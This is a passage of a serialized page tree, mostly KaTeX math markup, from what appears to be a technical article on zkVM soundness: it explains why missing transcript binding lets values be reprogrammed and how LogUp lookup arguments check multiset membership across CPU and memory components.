28,"value":114714}," is linear in the table values ",{"type":22,"tag":114,"props":114716,"children":114718},{"className":114717},[5995,5996],[114719],{"type":22,"tag":118,"props":114720,"children":114722},{"className":114721},[6001],[114723],{"type":22,"tag":118,"props":114724,"children":114726},{"className":114725,"ariaHidden":6007},[6006],[114727],{"type":22,"tag":118,"props":114728,"children":114730},{"className":114729},[6012],[114731,114735,114740,114745,114794],{"type":22,"tag":118,"props":114732,"children":114734},{"className":114733,"style":114221},[6017],[],{"type":22,"tag":118,"props":114736,"children":114738},{"className":114737,"style":96997},[6023,23542],[114739],{"type":28,"value":35024},{"type":22,"tag":118,"props":114741,"children":114743},{"className":114742},[23671],[114744],{"type":28,"value":540},{"type":22,"tag":118,"props":114746,"children":114748},{"className":114747},[6023,113792],[114749],{"type":22,"tag":118,"props":114750,"children":114752},{"className":114751},[6045],[114753],{"type":22,"tag":118,"props":114754,"children":114756},{"className":114755},[6050],[114757],{"type":22,"tag":118,"props":114758,"children":114760},{"className":114759,"style":114008},[6055],[114761,114773],{"type":22,"tag":118,"props":114762,"children":114763},{"style":113809},[114764,114768],{"type":22,"tag":118,"props":114765,"children":114767},{"className":114766,"style":113814},[6064],[],{"type":22,"tag":118,"props":114769,"children":114771},{"className":114770},[6023,23542],[114772],{"type":28,"value":5243},{"type":22,"tag":118,"props":114774,"children":114775},{"style":114176},[114776,114780],{"type":22,"tag":118,"props":114777,"children":114779},{"className":114778,"style":113814},[6064],[],{"type":22,"tag":118,"props":114781,"children":114783},{"className":114782,"style":114035},[113832],[114784],{"type":22,"tag":118,"props":114785,"children":114787},{"className":114786,"style":113908},[113907],[114788],{"type":22,"tag":36213,"props":114789,"children":114790},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114791],{"type":22,"tag":113920,"props":114792,"children":114793},{"d":113922},[],{"type":22,"tag":118,"props":114795,"children":114797},{"className":114796},[23693],[114798],{"type":28,"value":3627},{"type":28,"value":292},{"type":22,"tag":31,"props":114801,"children":114802},{},[114803,114805,114874],{"type":28,"value":114804},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":22,"tag":114,"props":114806,"children":114808},{"className":114807},[5995,5996],[114809],{"type":22,"tag":118,"props":114810,"children":114812},{"className":114811},[6001],[114813],{"type":22,"tag":118,"props":114814,"children":114816},{"className":114815,"ariaHidden":6007},[6006],[114817],{"type":22,"tag":118,"props":114818,"children":114820},{"className":114819},[6012],[114821,114825],{"type":22,"tag":118,"props":114822,"children":114824},{"className":114823,"style":113878},[6017],[],{"type":22,"tag":118,"props":114826,"children":114828},{"className":114827},[6023,113792],[114829],{"type":22,"tag":118,"props":114830,"children":114832},{"className":114831},[6045],[114833],{"type":22,"tag":118,"props":114834,"children":114836},{"className":114835},[6050],[114837],{"type":22,"tag":118,"props":114838,"children":114840},{"className":114839,"style":113878},[6055],[114841,114853],{"type":22,"tag":118,"props":114842,"children":114843},{"style":113809},[114844,114848],{"type":22,"tag":118,"props":114845,"children":114847},{"className":114846,"style":113814},[6064],[],{"type":22,"tag":118,"props":114849,"children":114851},{"className":114850,"style":94643},[6023,23542],[114852],{"type":28,"value":95462},{"type":22,"tag":118,"props":114854,"children":114855},{"style":113809},[114856,114860],{"type":22,"tag":118,"props":114857,"children":114859},{"className":114858,"style":113814},[6064],[],{"type":22,"tag":118,"props":114861,"children":114863},{"className":114862,"style":113902},[113832],[114864],{"type":22,"tag":118,"props":114865,"children":114867},{"className":114866,"style":113908},[113907],[114868],{"type":22,"tag":36213,"props":114869,"children":114870},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114871],{"type":22,"tag":113920,"props":114872,"children":114873},{"d":113922},[],{"type":28,"value":114875}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":22,"tag":1289,"props":114877,"children":114879},{"id":114878},"lookup-arguments-logup",[114880],{"type":28,"value":114881},"Lookup Arguments (LogUp)",{"type":22,"tag":31,"props":114883,"children":114884},{},[114885],{"type":28,"value":114886},"zkVMs need to check that values satisfy certain properties. For example:",{"type":22,"tag":64,"props":114888,"children":114889},{},[114890,114946,114951],{"type":22,"tag":68,"props":114891,"children":114892},{},[114893,114895,114945],{"type":28,"value":114894},"Is this byte in range ",{"type":22,"tag":114,"props":114896,"children":114898},{"className":114897},[5995,5996],[114899],{"type":22,"tag":118,"props":114900,"children":114902},{"className":114901},[6001],[114903],{"type":22,"tag":118,"props":114904,"children":114906},{"className":114905,"ariaHidden":6007},[6006],[114907],{"type":22,"tag":118,"props":114908,"children":114910},{"className":114909},[6012],[114911,114915,114920,114925,114930,114934,114940],{"type":22,"tag":118,"props":114912,"children":114914},{"className":114913,"style":6125},[6017],[],{"type":22,"tag":118,"props":114916,"children":114918},{"className":114917},[23671],[114919],{"type":28,"value":5746},{"type":22,"tag":118,"props":114921,"children":114923},{"className":114922},[6023],[114924],{"type":28,"value":6036},{"type":22,"tag":118,"props":114926,"children":114928},{"className":114927},[6136],[114929],{"type":28,"value":6139},{"type":22,"tag":118,"props":114931,"children":114933},{"className":114932,"style":6143},[6104],[],{"type":22,"tag":118,"props":114935,"children":114937},{"className":114936},[6023],[114938],{"type":28,"value":114939},"255",{"type":22,"tag":118,"props":114941,"children":114943},{"className":114942},[23693],[114944],{"type":28,"value":17386},{"type":28,"value":796},{"type":22,"tag":68,"props":114947,"children":114948},{},[114949],{"type":28,"value":114950},"Does this opcode decode correctly?",{"type":22,"tag":68,"props":114952,"children":114953},{},[114954],{"type":28,"value":114955},"Is this memory access consistent with previous accesses?",{"type":22,"tag":31,"props":114957,"children":114958},{},[114959,114964],{"type":22,"tag":74,"props":114960,"children":114961},{},[114962],{"type":28,"value":114963},"The naive approach:",{"type":28,"value":114965}," Add constraints for each check. Expensive.",{"type":22,"tag":31,"props":114967,"children":114968},{},[114969,114974,114976,114981],{"type":22,"tag":74,"props":114970,"children":114971},{},[114972],{"type":28,"value":114973},"The clever approach:",{"type":28,"value":114975}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":22,"tag":74,"props":114977,"children":114978},{},[114979],{"type":28,"value":114980},"multiset membership",{"type":28,"value":69736},{"type":22,"tag":31,"props":114983,"children":114984},{},[114985,114990],{"type":22,"tag":74,"props":114986,"children":114987},{},[114988],{"type":28,"value":114989},"LogUp (Logarithmic Derivative):",{"type":28,"value":114991}," Encode multiset membership as a sum of fractions.",{"type":22,"tag":31,"props":114993,"children":114994},{},[114995,114997,115022,115024,115051],{"type":28,"value":114996},"If set ",{"type":22,"tag":114,"props":114998,"children":115000},{"className":114999},[5995,5996],[115001],{"type":22,"tag":118,"props":115002,"children":115004},{"className":115003},[6001],[115005],{"type":22,"tag":118,"props":115006,"children":115008},{"className":115007,"ariaHidden":6007},[6006],[115009],{"type":22,"tag":118,"props":115010,"children":115012},{"className":115011},[6012],[115013,115017],{"type":22,"tag":118,"props":115014,"children":115016},{"className":115015,"style":23537},[6017],[],{"type":22,"tag":118,"props":115018,"children":115020},{"className":115019},[6023,23542],[115021],{"type":28,"value":78363},{"type":28,"value":115023}," should equal set ",{"type":22,"tag":114,"props":115025,"children":115027},{"className":115026},[5995,5996],[115028],{"type":22,"tag":118,"props":115029,"children":115031},{"className":115030},[6001],[115032],{"type":22,"tag":118,"props":115033,"children":115035},{"className":115034,"ariaHidden":6007},[6006],[115036],{"type":22,"tag":118,"props":115037,"children":115039},{"className":115038},[6012],[115040,115044],{"type":22,"tag":118,"props":115041,"children":115043},{"className":115042,"style":23537},[6017],[],{"type":22,"tag":118,"props":115045,"children":115048},{"className":115046,"style":115047},[6023,23542],"margin-right:0.05017em;",[115049],{"type":28,"value":115050},"B",{"type":28,"value":115052}," as multisets:",{"type":22,"tag":31,"props":115054,"children":115055},{},[115056],{"type":22,"tag":114,"props":115057,"children":115059},{"className":115058},[5995,5996],[115060],{"type":22,"tag":118,"props":115061,"children":115063},{"className":115062},[6001],[115064],{"type":22,"tag":118,"props":115065,"children":115067},{"className":115066,"ariaHidden":6007},[6006],[115068,115283],{"type":22,"tag":118,"props":115069,"children":115071},{"className":115070},[6012],[115072,115077,115150,115154,115270,115274,115279],{"type":22,"tag":118,"props":115073,"children":115076},{"className":115074,"style":115075},[6017],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":22,"tag":118,"props":115078,"children":115080},{"className":115079},[23578],[115081,115086],{"type":22,"tag":118,"props":115082,"children":115084},{"className":115083,"style":23585},[23578,23583,23584],[115085],{"type":28,"value":110438},{"type":22,"tag":118,"props":115087,"children":115089},{"className":115088},[6040],[115090],{"type":22,"tag":118,"props":115091,"children":115093},{"className":115092},[6045,23596],[115094,115138],{"type":22,"tag":118,"props":115095,"children":115097},{"className":115096},[6050],[115098,115133],{"type":22,"tag":118,"props":115099,"children":115102},{"className":115100,"style":115101},[6055],"height:0.1786em;",[115103],{"type":22,"tag":118,"props":115104,"children":115105},{"style":23609},[115106,115110],{"type":22,"tag":118,"props":115107,"children":115109},{"className":115108,"style":6065},[6064],[],{"type":22,"tag":118,"props":115111,"children":115113},{"className":115112},[6070,6071,6072,6073],[115114],{"type":22,"tag":118,"props":115115,"children":115117},{"className":115116},[6023,6073],[115118,115123,115128],{"type":22,"tag":118,"props":115119,"children":115121},{"className":115120},[6023,23542,6073],[115122],{"type":28,"value":42},{"type":22,"tag":118,"props":115124,"children":115126},{"className":115125},[6207,6073],[115127],{"type":28,"value":23649},{"type":22,"tag":118,"props":115129,"children":115131},{"className":115130},[6023,23542,6073],[115132],{"type":28,"value":78363},{"type":22,"tag":118,"props":115134,"children":115136},{"className":115135},[23699],[115137],{"type":28,"value":23702},{"type":22,"tag":118,"props":115139,"children":115141},{"className":115140},[6050],[115142],{"type":22,"tag":118,"props":115143,"children":115146},{"className":115144,"style":115145},[6055],"height:0.3271em;",[115147],{"type":22,"tag":118,"props":115148,"children":115149},{},[],{"type":22,"tag":118,"props":115151,"children":115153},{"className":115152,"style":6143},[6104],[],{"type":22,"tag":118,"props":115155,"children":115157},{"className":115156},[6023],[115158,115163,115266],{"type":22,"tag":118,"props":115159,"children":115162},{"className":115160},[23671,115161],"nulldelimiter",[],{"type":22,"tag":118,"props":115164,"children":115167},{"className":115165},[115166],"mfrac",[115168],{"type":22,"tag":118,"props":115169,"children":115171},{"className":115170},[6045,23596],[115172,115254],{"type":22,"tag":118,"props":115173,"children":115175},{"className":115174},[6050],[115176,115249],{"type":22,"tag":118,"props":115177,"children":115180},{"className":115178,"style":115179},[6055],"height:0.8451em;",[115181,115214,115228],{"type":22,"tag":118,"props":115182,"children":115184},{"style":115183},"top:-2.655em;",[115185,115189],{"type":22,"tag":118,"props":115186,"children":115188},{"className":115187,"style":113814},[6064],[],{"type":22,"tag":118,"props":115190,"children":115192},{"className":115191},[6070,6071,6072,6073],[115193],{"type":22,"tag":118,"props":115194,"children":115196},{"className":115195},[6023,6073],[115197,115204,115209],{"type":22,"tag":118,"props":115198,"children":115201},{"className":115199,"style":115200},[6023,23542,6073],"margin-right:0.04398em;",[115202],{"type":28,"value":115203},"z",{"type":22,"tag":118,"props":115205,"children":115207},{"className":115206},[6110,6073],[115208],{"type":28,"value":6084},{"type":22,"tag":118,"props":115210,"children":115212},{"className":115211},[6023,23542,6073],[115213],{"type":28,"value":42},{"type":22,"tag":118,"props":115215,"children":115217},{"style":115216},"top:-3.23em;",[115218,115222],{"type":22,"tag":118,"props":115219,"children":115221},{"className":115220,"style":113814},[6064],[],{"type":22,"tag":118,"props":115223,"children":115227},{"className":115224,"style":115226},[115225],"frac-line","border-bottom-width:0.04em;",[],{"type":22,"tag":118,"props":115229,"children":115231},{"style":115230},"top:-3.394em;",[115232,115236],{"type":22,"tag":118,"props":115233,"children":115235},{"className":115234,"style":113814},[6064],[],{"type":22,"tag":118,"props":115237,"children":115239},{"className":115238},[6070,6071,6072,6073],[115240],{"type":22,"tag":118,"props":115241,"children":115243},{"className":115242},[6023,6073],[115244],{"type":22,"tag":118,"props":115245,"children":115247},{"className":115246},[6023,6073],[115248],{"type":28,"value":6026},{"type":22,"tag":118,"props":115250,"children":115252},{"className":115251},[23699],[115253],{"type":28,"value":23702},{"type":22,"tag":118,"props":115255,"children":115257},{"className":115256},[6050],[115258],{"type":22,"tag":118,"props":115259,"children":115262},{"className":115260,"style":115261},[6055],"height:0.4033em;",[115263],{"type":22,"tag":118,"props":115264,"children":115265},{},[],{"type":22,"tag":118,"props":115267,"children":115269},{"className":115268},[23693,115161],[],{"type":22,"tag":118,"props":115271,"children":115273},{"className":115272,"style":6202},[6104],[],{"type":22,"tag":118,"props":115275,"children":115277},{"className":115276},[6207],[115278],{"type":28,"value":282},{"type":22,"tag":118,"props":115280,"children":115282},{"className":115281,"style":6202},[6104],[],{"type":22,"tag":118,"props":115284,"children":115286},{"className":115285},[6012],[115287,115291,115363,115367],{"type":22,"tag":118,"props":115288,"children":115290},{"className":115289,"style":115075},[6017],[],{"type":22,"tag":118,"props":115292,"children":115294},{"className":115293},[23578],[115295,115300],{"type":22,"tag":118,"props":115296,"children":115298},{"className":115297,"style":23585},[23578,23583,23584],[115299],{"type":28,"value":110438},{"type":22,"tag":118,"props":115301,"children":115303},{"className":115302},[6040],[115304],{"type":22,"tag":118,"props":115305,"children":115307},{"className":115306},[6045,23596],[115308,115352],{"type":22,"tag":118,"props":115309,"children":115311},{"className":115310},[6050],[115312,115347],{"type":22,"tag":118,"props":115313,"children":115316},{"className":115314,"style":115315},[6055],"height:0.1864em;",[115317],{"type":22,"tag":118,"props":115318,"children":115319},{"style":23609},[115320,115324],{"type":22,"tag":118,"props":115321,"children":115323},{"className":115322,"style":6065},[6064],[],{"type":22,"tag":118,"props":115325,"children":115327},{"className":115326},[6070,6071,6072,6073],[115328],{"type":22,"tag":118,"props":115329,"children":115331},{"className":115330},[6023,6073],[115332,115337,115342],{"type":22,"tag":118,"props":115333,"children":115335},{"className":115334},[6023,23542,6073],[115336],{"type":28,"value":5243},{"type":22,"tag":118,"props":115338,"children":115340},{"className":115339},[6207,6073],[115341],{"type":28,"value":23649},{"type":22,"tag":118,"props":115343,"children":115345},{"className":115344,"style":115047},[6023,23542,6073],[115346],{"type":28,"value":115050},{"type":22,"tag":118,"props":115348,"children":115350},{"className":115349},[23699],[115351],{"type":28,"value":23702},{"type":22,"tag":118,"props":115353,"children":115355},{"className":115354},[6050],[115356],{"type":22,"tag":118,"props":115357,"children":115359},{"className":115358,"style":115145},[6055],[115360],{"type":22,"tag":118,"props":115361,"children":115362},{},[],{"type":22,"tag":118,"props":115364,"children":115366},{"className":115365,"style":6143},[6104],[],{"type":22,"tag":118,"props":115368,"children":115370},{"className":115369},[6023],[115371,115375,115468],{"type":22,"tag":118,"props":115372,"children":115374},{"className":115373},[23671,115161],[],{"type":22,"tag":118,"props":115376,"children":115378},{"className":115377},[115166],[115379],{"type":22,"tag":118,"props":115380,"children":115382},{"className":115381},[6045,23596],[115383,115457],{"type":22,"tag":118,"props":115384,"children":115386},{"className":115385},[6050],[115387,115452],{"type":22,"tag":118,"props":115388,"children":115390},{"className":115389,"style":115179},[6055],[115391,115421,115432],{"type":22,"tag":118,"props":115392,"children":115393},{"style":115183},[115394,115398],{"type":22,"tag":118,"props":115395,"children":115397},{"className":115396,"style":113814},[6064],[],{"type":22,"tag":118,"props":115399,"children":115401},{"className":115400},[6070,6071,6072,6073],[115402],{"type":22,"tag":118,"props":115403,"children":115405},{"className":115404},[6023,6073],[115406,115411,115416],{"type":22,"tag":118,"props":115407,"children":115409},{"className":115408,"style":115200},[6023,23542,6073],[115410],{"type":28,"value":115203},{"type":22,"tag":118,"props":115412,"children":115414},{"className":115413},[6110,6073],[115415],{"type":28,"value":6084},{"type":22,"tag":118,"props":115417,"children":115419},{"className":115418},[6023,23542,6073],[115420],{"type":28,"value":5243},{"type":22,"tag":118,"props":115422,"children":115423},{"style":115216},[115424,115428],{"type":22,"tag":118,"props":115425,"children":115427},{"className":115426,"style":113814},[6064],[],{"type":22,"tag":118,"props":115429,"children":115431},{"className":115430,"style":115226},[115225],[],{"type":22,"tag":118,"props":115433,"children":115434},{"style":115230},[115435,115439],{"type":22,"tag":118,"props":115436,"children":115438},{"className":115437,"style":113814},[6064],[],{"type":22,"tag":118,"props":115440,"children":115442},{"className":115441},[6070,6071,6072,6073],[115443],{"type":22,"tag":118,"props":115444,"children":115446},{"className":115445},[6023,6073],[115447],{"type":22,"tag":118,"props":115448,"children":115450},{"className":115449},[6023,6073],[115451],{"type":28,"value":6026},{"type":22,"tag":118,"props":115453,"children":115455},{"className":115454},[23699],[115456],{"type":28,"value":23702},{"type":22,"tag":118,"props":115458,"children":115460},{"className":115459},[6050],[115461],{"type":22,"tag":118,"props":115462,"children":115464},{"className":115463,"style":115261},[6055],[115465],{"type":22,"tag":118,"props":115466,"children":115467},{},[],{"type":22,"tag":118,"props":115469,"children":115471},{"className":115470},[23693,115161],[],{"type":22,"tag":31,"props":115473,"children":115474},{},[115475,115477,115502],{"type":28,"value":115476},"for random challenge ",{"type":22,"tag":114,"props":115478,"children":115480},{"className":115479},[5995,5996],[115481],{"type":22,"tag":118,"props":115482,"children":115484},{"className":115483},[6001],[115485],{"type":22,"tag":118,"props":115486,"children":115488},{"className":115487,"ariaHidden":6007},[6006],[115489],{"type":22,"tag":118,"props":115490,"children":115492},{"className":115491},[6012],[115493,115497],{"type":22,"tag":118,"props":115494,"children":115496},{"className":115495,"style":112484},[6017],[],{"type":22,"tag":118,"props":115498,"children":115500},{"className":115499,"style":115200},[6023,23542],[115501],{"type":28,"value":115203},{"type":28,"value":115503},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":22,"tag":31,"props":115505,"children":115506},{},[115507,115512],{"type":22,"tag":74,"props":115508,"children":115509},{},[115510],{"type":28,"value":115511},"In zkVMs:",{"type":28,"value":115513}," Different components emit and consume lookup tuples:",{"type":22,"tag":64,"props":115515,"children":115516},{},[115517,115604],{"type":22,"tag":68,"props":115518,"children":115519},{},[115520,115522,115548,115550,115575,115577,115603],{"type":28,"value":115521},"CPU emits: \"I read value ",{"type":22,"tag":114,"props":115523,"children":115525},{"className":115524},[5995,5996],[115526],{"type":22,"tag":118,"props":115527,"children":115529},{"className":115528},[6001],[115530],{"type":22,"tag":118,"props":115531,"children":115533},{"className":115532,"ariaHidden":6007},[6006],[115534],{"type":22,"tag":118,"props":115535,"children":115537},{"className":115536},[6012],[115538,115542],{"type":22,"tag":118,"props":115539,"children":115541},{"className":115540,"style":112484},[6017],[],{"type":22,"tag":118,"props":115543,"children":115545},{"className":115544,"style":95129},[6023,23542],[115546],{"type":28,"value":115547},"v",{"type":28,"value":115549}," from address ",{"type":22,"tag":114,"props":115551,"children":115553},{"className":115552},[5995,5996],[115554],{"type":22,"tag":118,"props":115555,"children":115557},{"className":115556},[6001],[115558],{"type":22,"tag":118,"props":115559,"children":115561},{"className":115560,"ariaHidden":6007},[6006],[115562],{"type":22,"tag":118,"props":115563,"children":115565},{"className":115564},[6012],[115566,115570],{"type":22,"tag":118,"props":115567,"children":115569},{"className":115568,"style":112484},[6017],[],{"type":22,"tag":118,"props":115571,"children":115573},{"className":115572},[6023,23542],[115574],{"type":28,"value":42},{"type":28,"value":115576}," at time ",{"type":22,"tag":114,"props":115578,"children":115580},{"className":115579},[5995,5996],[115581],{"type":22,"tag":118,"props":115582,"children":115584},{"className":115583},[6001],[115585],{"type":22,"tag":118,"props":115586,"children":115588},{"className":115587,"ariaHidden":6007},[6006],[115589],{"type":22,"tag":118,"props":115590,"children":115592},{"className":115591},[6012],[115593,115598],{"type":22,"tag":118,"props":115594,"children":115597},{"className":115595,"style":115596},[6017],"height:0.6151em;",[],{"type":22,"tag":118,"props":115599,"children":115601},{"className":115600},[6023,23542],[115602],{"type":28,"value":23684},{"type":28,"value":22027},{"type":22,"tag":68,"props":115605,"children":115606},{},[115607,115609,115634,115636,115661,115663,115688],{"type":28,"value":115608},"Memory table consumes: \"At time ",{"type":22,"tag":114,"props":115610,"children":115612},{"className":115611},[5995,5996],[115613],{"type":22,"tag":118,"props":115614,"children":115616},{"className":115615},[6001],[115617],{"type":22,"tag":118,"props":115618,"children":115620},{"className":115619,"ariaHidden":6007},[6006],[115621],{"type":22,"tag":118,"props":115622,"children":115624},{"className":115623},[6012],[115625,115629],{"type":22,"tag":118,"props":115626,"children":115628},{"className":115627,"style":115596},[6017],[],{"type":22,"tag":118,"props":115630,"children":115632},{"className":115631},[6023,23542],[115633],{"type":28,"value":23684},{"type":28,"value":115635},", address ",{"type":22,"tag":114,"props":115637,"children":115639},{"className":115638},[5995,5996],[115640],{"type":22,"tag":118,"props":115641,"children":115643},{"className":115642},[6001],[115644],{"type":22,"tag":118,"props":115645,"children":115647},{"className":115646,"ariaHidden":6007},[6006],[115648],{"type":22,"tag":118,"props":115649,"children":115651},{"className":115650},[6012],[115652,115656],{"type":22,"tag":118,"props":115653,"children":115655},{"className":115654,"style":112484},[6017],[],{"type":22,"tag":118,"props":115657,"children":115659},{"className":115658},[6023,23542],[115660],{"type":28,"value":42},{"type":28,"value":115662}," contained ",{"type":22,"tag":114,"props":115664,"children":115666},{"className":115665},[5995,5996],[115667],{"type":22,"tag":118,"props":115668,"children":115670},{"className":115669},[6001],[115671],{"type":22,"tag":118,"props":115672,"children":115674},{"className":115673,"ariaHidden":6007},[6006],[115675],{"type":22,"tag":118,"props":115676,"children":115678},{"className":115677},[6012],[115679,115683],{"type":22,"tag":118,"props":115680,"children":115682},{"className":115681,"style":112484},[6017],[],{"type":22,"tag":118,"props":115684,"children":115686},{"className":115685,"style":95129},[6023,23542],[115687],{"type":28,"value":115547},{"type":28,"value":22027},{"type":22,"tag":31,"props":115690,"children":115691},{},[115692],{"type":28,"value":115693},"If everything balances, the execution is consistent.",{"type":22,"tag":31,"props":115695,"children":115696},{},[115697,115702],{"type":22,"tag":74,"props":115698,"children":115699},{},[115700],{"type":28,"value":115701},"The claimed_sum:",{"type":28,"value":115703}," Each component computes its contribution to the LogUp sum:",{"type":22,"tag":31,"props":115705,"children":115706},{},[115707],{"type":22,"tag":114,"props":115708,"children":115710},{"className":115709},[5995,5996],[115711],{"type":22,"tag":118,"props":115712,"children":115714},{"className":115713},[6001],[115715],{"type":22,"tag":118,"props":115716,"children":115718},{"className":115717,"ariaHidden":6007},[6006],[115719,115817,116068],{"type":22,"tag":118,"props":115720,"children":115722},{"className":115721},[6012],[115723,115727,115737,115742,115804,115808,115813],{"type":22,"tag":118,"props":115724,"children":115726},{"className":115725,"style":96056},[6017],[],{"type":22,"tag":118,"props":115728,"children":115730},{"className":115729},[6023,28],[115731],{"type":22,"tag":118,"props":115732,"children":115734},{"className":115733},[6023],[115735],{"type":28,"value":115736},"claimed",{"type":22,"tag":118,"props":115738,"children":115740},{"className":115739,"style":94643},[6023],[115741],{"type":28,"value":3422},{"type":22,"tag":118,"props":115743,"children":115745},{"className":115744},[6023],[115746,115755],{"type":22,"tag":118,"props":115747,"children":115749},{"className":115748},[6023,28],[115750],{"type":22,"tag":118,"props":115751,"children":115753},{"className":115752},[6023],[115754],{"type":28,"value":78228},{"type":22,"tag":118,"props":115756,"children":115758},{"className":115757},[6040],[115759],{"type":22,"tag":118,"props":115760,"children":115762},{"className":115761},[6045,23596],[115763,115793],{"type":22,"tag":118,"props":115764,"children":115766},{"className":115765},[6050],[115767,115788],{"type":22,"tag":118,"props":115768,"children":115770},{"className":115769,"style":95172},[6055],[115771],{"type":22,"tag":118,"props":115772,"children":115774},{"style":115773},"top:-2.55em;margin-right:0.05em;",[115775,115779],{"type":22,"tag":118,"props":115776,"children":115778},{"className":115777,"style":6065},[6064],[],{"type":22,"tag":118,"props":115780,"children":115782},{"className":115781},[6070,6071,6072,6073],[115783],{"type":22,"tag":118,"props":115784,"children":115786},{"className":115785},[6023,23542,6073],[115787],{"type":28,"value":3613},{"type":22,"tag":118,"props":115789,"children":115791},{"className":115790},[23699],[115792],{"type":28,"value":23702},{"type":22,"tag":118,"props":115794,"children":115796},{"className":115795},[6050],[115797],{"type":22,"tag":118,"props":115798,"children":115800},{"className":115799,"style":94726},[6055],[115801],{"type":22,"tag":118,"props":115802,"children":115803},{},[],{"type":22,"tag":118,"props":115805,"children":115807},{"className":115806,"style":6202},[6104],[],{"type":22,"tag":118,"props":115809,"children":115811},{"className":115810},[6207],[115812],{"type":28,"value":282},{"type":22,"tag":118,"props":115814,"children":115816},{"className":115815,"style":6202},[6104],[],{"type":22,"tag":118,"props":115818,"children":115820},{"className":115819},[6012],[115821,115826,115886,115890,116055,116059,116064],{"type":22,"tag":118,"props":115822,"children":115825},{"className":115823,"style":115824},[6017],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":22,"tag":118,"props":115827,"children":115829},{"className":115828},[23578],[115830,115835],{"type":22,"tag":118,"props":115831,"children":115833},{"className":115832,"style":23585},[23578,23583,23584],[115834],{"type":28,"value":110438},{"type":22,"tag":118,"props":115836,"children":115838},{"className":115837},[6040],[115839],{"type":22,"tag":118,"props":115840,"children":115842},{"className":115841},[6045,23596],[115843,115874],{"type":22,"tag":118,"props":115844,"children":115846},{"className":115845},[6050],[115847,115869],{"type":22,"tag":118,"props":115848,"children":115851},{"className":115849,"style":115850},[6055],"height:0.162em;",[115852],{"type":22,"tag":118,"props":115853,"children":115854},{"style":23609},[115855,115859],{"type":22,"tag":118,"props":115856,"children":115858},{"className":115857,"style":6065},[6064],[],{"type":22,"tag":118,"props":115860,"children":115862},{"className":115861},[6070,6071,6072,6073],[115863],{"type":22,"tag":118,"props":115864,"children":115867},{"className":115865,"style":115866},[6023,23542,6073],"margin-right:0.05724em;",[115868],{"type":28,"value":10658},{"type":22,"tag":118,"props":115870,"children":115872},{"className":115871},[23699],[115873],{"type":28,"value":23702},{"type":22,"tag":118,"props":115875,"children":115877},{"className":115876},[6050],[115878],{"type":22,"tag":118,"props":115879,"children":115882},{"className":115880,"style":115881},[6055],"height:0.4358em;",[115883],{"type":22,"tag":118,"props":115884,"children":115885},{},[],{"type":22,"tag":118,"props":115887,"children":115889},{"className":115888,"style":6143},[6104],[],{"type":22,"tag":118,"props":115891,"children":115893},{"className":115892},[6023],[115894,115898,116051],{"type":22,"tag":118,"props":115895,"children":115897},{"className":115896},[23671,115161],[],{"type":22,"tag":118,"props":115899,"children":115901},{"className":115900},[115166],[115902],{"type":22,"tag":118,"props":115903,"children":115905},{"className":115904},[6045,23596],[115906,116039],{"type":22,"tag":118,"props":115907,"children":115909},{"className":115908},[6050],[115910,116034],{"type":22,"tag":118,"props":115911,"children":115913},{"className":115912,"style":115179},[6055],[115914,116003,116014],{"type":22,"tag":118,"props":115915,"children":115916},{"style":115183},[115917,115921],{"type":22,"tag":118,"props":115918,"children":115920},{"className":115919,"style":113814},[6064],[],{"type":22,"tag":118,"props":115922,"children":115924},{"className":115923},[6070,6071,6072,6073],[115925],{"type":22,"tag":118,"props":115926,"children":115928},{"className":115927},[6023,6073],[115929,115934,115939],{"type":22,"tag":118,"props":115930,"children":115932},{"className":115931,"style":115200},[6023,23542,6073],[115933],{"type":28,"value":115203},{"type":22,"tag":118,"props":115935,"children":115937},{"className":115936},[6110,6073],[115938],{"type":28,"value":6084},{"type":22,"tag":118,"props":115940,"children":115942},{"className":115941},[6023,6073],[115943,115952],{"type":22,"tag":118,"props":115944,"children":115946},{"className":115945},[6023,28,6073],[115947],{"type":22,"tag":118,"props":115948,"children":115950},{"className":115949},[6023,6073],[115951],{"type":28,"value":63949},{"type":22,"tag":118,"props":115953,"children":115955},{"className":115954},[6040],[115956],{"type":22,"tag":118,"props":115957,"children":115959},{"className":115958},[6045,23596],[115960,115991],{"type":22,"tag":118,"props":115961,"children":115963},{"className":115962},[6050],[115964,115986],{"type":22,"tag":118,"props":115965,"children":115968},{"className":115966,"style":115967},[6055],"height:0.3281em;",[115969],{"type":22,"tag":118,"props":115970,"children":115972},{"style":115971},"top:-2.357em;margin-right:0.0714em;",[115973,115977],{"type":22,"tag":118,"props":115974,"children":115976},{"className":115975,"style":110503},[6064],[],{"type":22,"tag":118,"props":115978,"children":115980},{"className":115979},[6070,110508,110509,6073],[115981],{"type":22,"tag":118,"props":115982,"children":115984},{"className":115983,"style":115866},[6023,23542,6073],[115985],{"type":28,"value":10658},{"type":22,"tag":118,"props":115987,"children":115989},{"className":115988},[23699],[115990],{"type":28,"value":23702},{"type":22,"tag":118,"props":115992,"children":115994},{"className":115993},[6050],[115995],{"type":22,"tag":118,"props":115996,"children":115999},{"className":115997,"style":115998},[6055],"height:0.2819em;",[116000],{"type":22,"tag":118,"props":116001,"children":116002},{},[],{"type":22,"tag":118,"props":116004,"children":116005},{"style":115216},[116006,116010],{"type":22,"tag":118,"props":116007,"children":116009},{"className":116008,"style":113814},[6064],[],{"type":22,"tag":118,"props":116011,"children":116013},{"className":116012,"style":115226},[115225],[],{"type":22,"tag":118,"props":116015,"children":116016},{"style":115230},[116017,116021],{"type":22,"tag":118,"props":116018,"children":116020},{"className":116019,"style":113814},[6064],[],{"type":22,"tag":118,"props":116022,"children":116024},{"className":116023},[6070,6071,6072,6073],[116025],{"type":22,"tag":118,"props":116026,"children":116028},{"className":116027},[6023,6073],[116029],{"type":22,"tag":118,"props":116030,"children":116032},{"className":116031},[6023,6073],[116033],{"type":28,"value":6026},{"type":22,"tag":118,"props":116035,"children":116037},{"className":116036},[23699],[116038],{"type":28,"value":23702},{"type":22,"tag":118,"props":116040,"children":116042},{"className":116041},[6050],[116043],{"type":22,"tag":118,"props":116044,"children":116047},{"className":116045,"style":116046},[6055],"height:0.5423em;",[116048],{"type":22,"tag":118,"props":116049,"children":116050},{},[],{"type":22,"tag":118,"props"